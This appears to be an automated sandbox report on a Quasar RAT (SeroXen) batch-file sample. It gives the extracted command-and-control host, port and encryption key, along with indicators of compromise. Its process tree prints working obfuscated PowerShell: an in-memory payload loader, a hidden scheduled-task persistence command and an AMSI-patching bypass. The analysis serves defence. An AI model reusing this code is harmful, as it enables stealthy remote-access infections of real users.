quasar | 070f7c800e8278b2cad111635cec3c501ff0aa9aa93fdd9529fcb8736a06d56d

Analysis

max time kernel
137s
max time network
138s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
29/05/2024, 14:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 1003KB
Sample240529-rfaxfagg7t
SHA256 070f7c800e8278b2cad111635cec3c501ff0aa9aa93fdd9529fcb8736a06d56d
MD5 d6d62f532591a7d034abac21eff0b57b
SHA1 94c28efce74a67eb18d28bd51f65d285c8d1caef
SHA512 26f94770e0d250aa6e063af8d5422848a72753a72b20e62b33a76fef5453cdd9e1f70466a935ef0dec145af9b293e12a6ec0e9101f0bd8e80edd3f4be706294a
SSDEEP 24576:iGtp7xs0OFrW/eIeexsYboNCkhhdmjynCf7O:jXO5WnsYcTdPnwO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar seroxen | v3.1.5 |execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

3.1.5

Botnet

SeroXen | v3.1.5 |

runderscore00-25501.portmap.host:25501

Mutex

$Sxr-jy6vh8CtEJL5ceZuIb

Attributes

encryption_key
JCa22tR8WnO00adn2TuE
install_name
$sxr-powershell.exe
log_directory
$sxr-Logs
reconnect_delay
3000
startup_key
Powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral3/memory/3144-22-0x0000000008A60000-0x0000000008B52000-memory.dmp	family_quasar
behavioral3/memory/2832-79-0x0000000009000000-0x000000000906C000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4960 created 644	4960	powershell.EXE	5

Blocklisted process makes network request 11 IoCs

flow	pid	Process
3	2832	powershell.exe
4	2832	powershell.exe
6	2832	powershell.exe
8	2832	powershell.exe
9	2832	powershell.exe
10	2832	powershell.exe
12	2832	powershell.exe
14	2832	powershell.exe
15	2832	powershell.exe
16	2832	powershell.exe
18	2832	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3144	powershell.exe
3448	powershell.exe
2832	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
936	Install.exe

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com
5	api.ipify.org
7	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4960 set thread context of 5048	4960	powershell.EXE	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1696768468-2170909707-4198977321-1000_Classes\Local Settings	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
996	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3144	powershell.exe
3144	powershell.exe
3448	powershell.exe
3448	powershell.exe
2832	powershell.exe
2832	powershell.exe
1608	powershell.exe
1608	powershell.exe
4960	powershell.EXE
4960	powershell.EXE
4960	powershell.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3144	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe
Token: 36	3448	powershell.exe
Token: SeIncreaseQuotaPrivilege	3448	powershell.exe
Token: SeSecurityPrivilege	3448	powershell.exe
Token: SeTakeOwnershipPrivilege	3448	powershell.exe
Token: SeLoadDriverPrivilege	3448	powershell.exe
Token: SeSystemProfilePrivilege	3448	powershell.exe
Token: SeSystemtimePrivilege	3448	powershell.exe
Token: SeProfSingleProcessPrivilege	3448	powershell.exe
Token: SeIncBasePriorityPrivilege	3448	powershell.exe
Token: SeCreatePagefilePrivilege	3448	powershell.exe
Token: SeBackupPrivilege	3448	powershell.exe
Token: SeRestorePrivilege	3448	powershell.exe
Token: SeShutdownPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeSystemEnvironmentPrivilege	3448	powershell.exe
Token: SeRemoteShutdownPrivilege	3448	powershell.exe
Token: SeUndockPrivilege	3448	powershell.exe
Token: SeManageVolumePrivilege	3448	powershell.exe
Token: 33	3448	powershell.exe
Token: 34	3448	powershell.exe
Token: 35	3448	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2832	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 2920 wrote to memory of 3144	2920	cmd.exe	79
PID 2920 wrote to memory of 3144	2920	cmd.exe	79
PID 2920 wrote to memory of 3144	2920	cmd.exe	79
PID 3144 wrote to memory of 3448	3144	powershell.exe	80
PID 3144 wrote to memory of 3448	3144	powershell.exe	80
PID 3144 wrote to memory of 3448	3144	powershell.exe	80
PID 3144 wrote to memory of 2900	3144	powershell.exe	83
PID 3144 wrote to memory of 2900	3144	powershell.exe	83
PID 3144 wrote to memory of 2900	3144	powershell.exe	83
PID 2900 wrote to memory of 2976	2900	WScript.exe	84
PID 2900 wrote to memory of 2976	2900	WScript.exe	84
PID 2900 wrote to memory of 2976	2900	WScript.exe	84
PID 2976 wrote to memory of 2832	2976	cmd.exe	86
PID 2976 wrote to memory of 2832	2976	cmd.exe	86
PID 2976 wrote to memory of 2832	2976	cmd.exe	86
PID 2832 wrote to memory of 1608	2832	powershell.exe	87
PID 2832 wrote to memory of 1608	2832	powershell.exe	87
PID 2832 wrote to memory of 1608	2832	powershell.exe	87
PID 2832 wrote to memory of 936	2832	powershell.exe	88
PID 2832 wrote to memory of 936	2832	powershell.exe	88
PID 2832 wrote to memory of 936	2832	powershell.exe	88
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 4960 wrote to memory of 5048	4960	powershell.EXE	93
PID 2832 wrote to memory of 5032	2832	powershell.exe	95
PID 2832 wrote to memory of 5032	2832	powershell.exe	95
PID 2832 wrote to memory of 5032	2832	powershell.exe	95
PID 5032 wrote to memory of 2856	5032	cmd.exe	97
PID 5032 wrote to memory of 2856	5032	cmd.exe	97
PID 5032 wrote to memory of 2856	5032	cmd.exe	97
PID 5032 wrote to memory of 996	5032	cmd.exe	98
PID 5032 wrote to memory of 996	5032	cmd.exe	98
PID 5032 wrote to memory of 996	5032	cmd.exe	98

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{05630208-a16f-4cb1-bc70-5d7f233d2b93}
  2⤵
  PID:5048

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j42DKp8x0h4213c6GrktRdOMxpGkpJXPO6k3HjxwrZM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7/5Nvry12FqfboNbAUGrww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZIqOg=New-Object System.IO.MemoryStream(,$param_var); $mvnnt=New-Object System.IO.MemoryStream; $LUPro=New-Object System.IO.Compression.GZipStream($ZIqOg, [IO.Compression.CompressionMode]::Decompress); $LUPro.CopyTo($mvnnt); $LUPro.Dispose(); $ZIqOg.Dispose(); $mvnnt.Dispose(); $mvnnt.ToArray();}function execute_function($param_var,$param2_var){ $XYSou=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $haZBF=$XYSou.EntryPoint; $haZBF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Uni.bat';$XBrYH=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($TMJVW in $XBrYH) { if ($TMJVW.StartsWith(':: ')) { $RNBnP=$TMJVW.Substring(3); break; }}$payloads_var=[string[]]$RNBnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3144
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_463_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_463.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3448
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_463.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_463.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2976
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j42DKp8x0h4213c6GrktRdOMxpGkpJXPO6k3HjxwrZM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7/5Nvry12FqfboNbAUGrww=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $ZIqOg=New-Object System.IO.MemoryStream(,$param_var); $mvnnt=New-Object System.IO.MemoryStream; $LUPro=New-Object System.IO.Compression.GZipStream($ZIqOg, [IO.Compression.CompressionMode]::Decompress); $LUPro.CopyTo($mvnnt); $LUPro.Dispose(); $ZIqOg.Dispose(); $mvnnt.Dispose(); $mvnnt.ToArray();}function execute_function($param_var,$param2_var){ $XYSou=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $haZBF=$XYSou.EntryPoint; $haZBF.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_463.bat';$XBrYH=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_463.bat').Split([Environment]::NewLine);foreach ($TMJVW in $XBrYH) { if ($TMJVW.StartsWith(':: ')) { $RNBnP=$TMJVW.Substring(3); break; }}$payloads_var=[string[]]$RNBnP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2832
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1608
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        Executes dropped EXE
        
        PID:936
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\juYdNppliNP9.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:5032
        
        C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        7⤵
        
        PID:2856
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping -n 10 localhost
        7⤵
        Runs ping.exe
        
        PID:996

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:DDudBjAQeMjH{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$qiIuhQAHwIYpDY,[Parameter(Position=1)][Type]$qblYQqjlfA)$HlqFJWmPnse=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+'e'+'d'+'D'+[Char](101)+''+[Char](108)+''+'e'+'g'+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+'M'+''+[Char](101)+'m'+'o'+''+[Char](114)+'y'+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+'M'+'y'+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+[Char](112)+'e',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+''+'e'+''+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+','+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+''+'u'+''+[Char](116)+''+'o'+'C'+[Char](108)+'a'+'s'+''+[Char](115)+'',[MulticastDelegate]);$HlqFJWmPnse.DefineConstructor(''+[Char](82)+'TSp'+[Char](101)+'c'+[Char](105)+''+'a'+'l'+[Char](78)+'a'+[Char](109)+'e,'+'H'+'i'+[Char](100)+''+[Char](101)+'B'+[Char](121)+'S'+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$qiIuhQAHwIYpDY).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+'e'+','+'M'+'a'+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$HlqFJWmPnse.DefineMethod('In'+'v'+'o'+[Char](107)+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+''+','+'NewSl'+[Char](111)+''+[Char](116)+''+[Char](44)+'V'+'i'+''+'r'+'tu'+[Char](97)+''+[Char](108)+'',$qblYQqjlfA,$qiIuhQAHwIYpDY).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+'m'+''+'e'+','+[Char](77)+'a'+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $HlqFJWmPnse.CreateType();}$ZoAXbqJPKIMdm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+'e'+[Char](109)+''+'.'+''+'d'+'l'+'l'+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+'o'+'ft.'+[Char](87)+'i'+'n'+''+[Char](51)+''+[Char](50)+'.'+[Char](85)+''+[Char](110)+''+[Char](115)+'af'+[Char](101)+''+'N'+''+[Char](97)+'ti'+'v'+'e'+[Char](77)+''+'e'+'t'+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$JNdtUNdqJzUQKv=$ZoAXbqJPKIMdm.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](80)+''+[Char](114)+'oc'+'A'+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+'e'+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+'bl'+'i'+''+[Char](99)+''+','+''+[Char](83)+''+[Char](116)+'a'+[Char](116)+''+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$JezksJXbWCybsteWdwY=DDudBjAQeMjH @([String])([IntPtr]);$fxNCaasHxTAneMUtBxbMXJ=DDudBjAQeMjH @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$UcetrgxORSf=$ZoAXbqJPKIMdm.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+'d'+''+[Char](117)+'l'+'e'+''+[Char](72)+''+[Char](97)+'n'+[Char](100)+'le').Invoke($Null,@([Object]('k'+[Char](101)+'rne'+[Char](108)+'3'+[Char](50)+''+'.'+'d'+'l'+''+[Char](108)+'')));$MyVrSaoUclbSFj=$JNdtUNdqJzUQKv.Invoke($Null,@([Object]$UcetrgxORSf,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'brar'+[Char](121)+''+[Char](65)+'')));$uAFLMNmKWmkIdVQAw=$JNdtUNdqJzUQKv.Invoke($Null,@([Object]$UcetrgxORSf,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+'te'+'c'+'t')));$bAphNcG=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MyVrSaoUclbSFj,$JezksJXbWCybsteWdwY).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+'l');$KSZQfvyukhOqyDrqG=$JNdtUNdqJzUQKv.Invoke($Null,@([Object]$bAphNcG,[Object](''+'A'+'m'+[Char](115)+''+'i'+''+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+''+'B'+'u'+[Char](102)+''+'f'+'er')));$CiOqTpBwIw=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uAFLMNmKWmkIdVQAw,$fxNCaasHxTAneMUtBxbMXJ).Invoke($KSZQfvyukhOqyDrqG,[uint32]8,4,[ref]$CiOqTpBwIw);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$KSZQfvyukhOqyDrqG,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($uAFLMNmKWmkIdVQAw,$fxNCaasHxTAneMUtBxbMXJ).Invoke($KSZQfvyukhOqyDrqG,[uint32]8,0x20,[ref]$CiOqTpBwIw);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+'F'+[Char](84)+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue('$'+[Char](55)+''+[Char](55)+'st'+[Char](97)+''+[Char](103)+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4960

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 2e72609b2c93e0660390a91c8e5334d62c7b17cd40f9ae8afcc767d345cc12f2
MD5 8ba8fc1034d449222856ea8fa2531e28
SHA1 7570fe1788e57484c5138b6cead052fbc3366f3e
SHA512 7ee42c690e5db3818e445fa8f50f5db39973f8caf5fce0b4d6261cb5a637e63f966c5f1734ee743b9bf30bcf8d18aa70ceb65ed41035c2940d4c6d34735e0d7b
MD5 SHA1 SHA512

Submit Download

